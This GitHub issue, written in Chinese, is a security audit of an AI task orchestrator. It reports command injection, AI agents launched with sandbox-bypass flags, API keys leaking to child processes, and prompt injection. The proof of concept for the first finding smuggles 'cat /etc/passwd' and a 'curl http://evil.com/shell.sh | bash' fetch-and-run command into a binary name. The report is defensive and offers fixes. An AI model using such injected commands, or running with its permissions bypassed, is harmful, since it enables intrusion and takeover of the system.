Skip to content

Security: 命令注入 + 危险权限绕过 + API Key 泄露(5项发现,2严重) #7

@tlyyxjz

Description

@tlyyxjz

安全审计报告 — Fractals (tinyagi)

项目: tinyagi/fractals — 递归式 AI 任务编排器
日期: 2026-05-31
扫描范围: 20 TypeScript 源文件,47 个 Git 追踪文件
分析工具: Semgrep (271 rules) + 45-rule 代码审计 + OSV.dev


摘要

发现 2 个严重 + 2 个高危 + 1 个中危5 项问题。安全评分: 42/100

漏洞详情


BH-20260531-001 | 命令注入 — 用户输入直接传入 shell 命令

CWE: CWE-78 | CVSS 3.1: 8.4 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

严重等级: 严重

文件: src/executor.ts:8,25,55-61

描述: resolveBin()runCommand() 函数接受外部参数直接传给 execSync()spawn()。虽然当前调用处使用硬编码值,但函数本身是公共接口,缺乏输入校验。任何调用方传入用户可控的 namecommand 参数即可实现任意命令执行。

PoC:

// executor.ts:8 — name 参数直接拼入 shell
return execSync(`which ${name}`, { encoding: "utf8" }).trim();
// 如果 name = "claude; cat /etc/passwd"

复现步骤: 恶意 PR 调用 resolveBin("claude; curl http://evil.com/shell.sh | bash") → 任意代码执行

修复建议:

function resolveBin(name: string): string {
  if (!/^[a-zA-Z0-9_-]+$/.test(name)) {
    throw new Error(`Invalid binary name: ${name}`);
  }
  return execFileSync("which", [name], { encoding: "utf8" }).trim();
}

BH-20260531-002 | 危险权限绕过 — AI Agent 以最高权限运行

CWE: CWE-269 | CVSS 3.1: 9.1 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L)

严重等级: 严重

文件: src/executor.ts:55,61

描述: Claude Code 以 --dangerously-skip-permissions 启动,Codex 以 --dangerously-bypass-approvals-and-sandbox 启动。这意味着 LLM 生成的任意代码(包括恶意 prompt 注入)将绕过所有安全沙箱直接执行。结合 Fractals 的递归任务分解机制,被投毒的 prompt 会污染整个任务树。

受影响代码:

// line 55 — Claude runs with ALL permissions
return runCommand(CLAUDE_BIN, ["--dangerously-skip-permissions", "-p", message], cwd);

// line 61 — Codex bypasses sandbox entirely
return runCommand(CODEX_BIN, ["exec", "--dangerously-bypass-approvals-and-sandbox", "--json", message], cwd);

影响: 恶意 prompt 输入 → LLM 被诱导生成恶意代码 → 以无限制权限执行 → 完整系统控制权

修复建议:

  1. 移除 --dangerously-skip-permissions,改用 --permission-mode auto
  2. message 添加 prompt injection 检测(已有 agentic-security 的 59 条规则可用)
  3. 将 Claude/Codex 执行限制在 Docker 容器内

BH-20260531-003 | API Key 环境变量泄露

CWE: CWE-522 | CVSS 3.1: 5.9 (AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)

严重等级: 高危

文件: src/llm.ts:6, src/executor.ts:19

描述:

  1. new OpenAI() 初始化时未显式传入 API key,依赖 OPENAI_API_KEY 环境变量。如果执行环境被污染,key 可能泄露。
  2. executor.ts:19 — 执行子进程时复制了完整的 process.env,包含所有密钥。

受影响代码:

// llm.ts:6
const client = new OpenAI(); // relies on OPENAI_API_KEY env var

// executor.ts:19 — copies ALL env vars including API keys to child processes
const env = { ...process.env };

修复: 在传递给子进程前,从 env 中删除 API key 相关变量:

const env = { ...process.env };
delete env.OPENAI_API_KEY;
delete env.ANTHROPIC_API_KEY;
delete env.CLAUDECODE;

BH-20260531-004 | CLI 参数直接传递到 LLM Prompt(Prompt Injection)

CWE: CWE-350 | CVSS 3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)

严重等级: 高危

文件: src/index.ts:5

描述: 用户输入通过 process.argv 直接进入 LLM prompt,无任何过滤。恶意输入可引导 LLM 执行任意操作。

const task = process.argv.slice(2).join(" ") || "Build a DocuSign clone";

修复: 对 CLI 输入做白名单校验,限制长度和字符集。


BH-20260531-005 | 缺少子进程超时与资源限制

CWE: CWE-400 | CVSS 3.1: 5.3

严重等级: 中危

文件: src/executor.ts:17-52

描述: runCommand() 创建的 spawn 子进程没有 timeout 参数,也没有 CPU/内存限制。恶意 prompt 可创建无限循环消耗资源的子进程。

修复: 添加 spawn 的 timeout 参数和资源限制。


修复优先级

优先级 漏洞 行动
P0 立即 #2 权限绕过 移除 dangerous-skip-permissions,加 prompt 过滤
P0 立即 #1 命令注入 参数白名单校验,execSync → execFileSync
P1 本周 #3 API Key 泄露 子进程 env 过滤敏感变量
P1 本周 #4 Prompt 注入 CLI 输入校验
P2 本月 #5 资源限制 子进程 timeout + 资源 cgroup

报告由 bounty-hunter skill 自动生成 | 工具: Semgrep + 45-rule scanner | 审计: 三玖

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions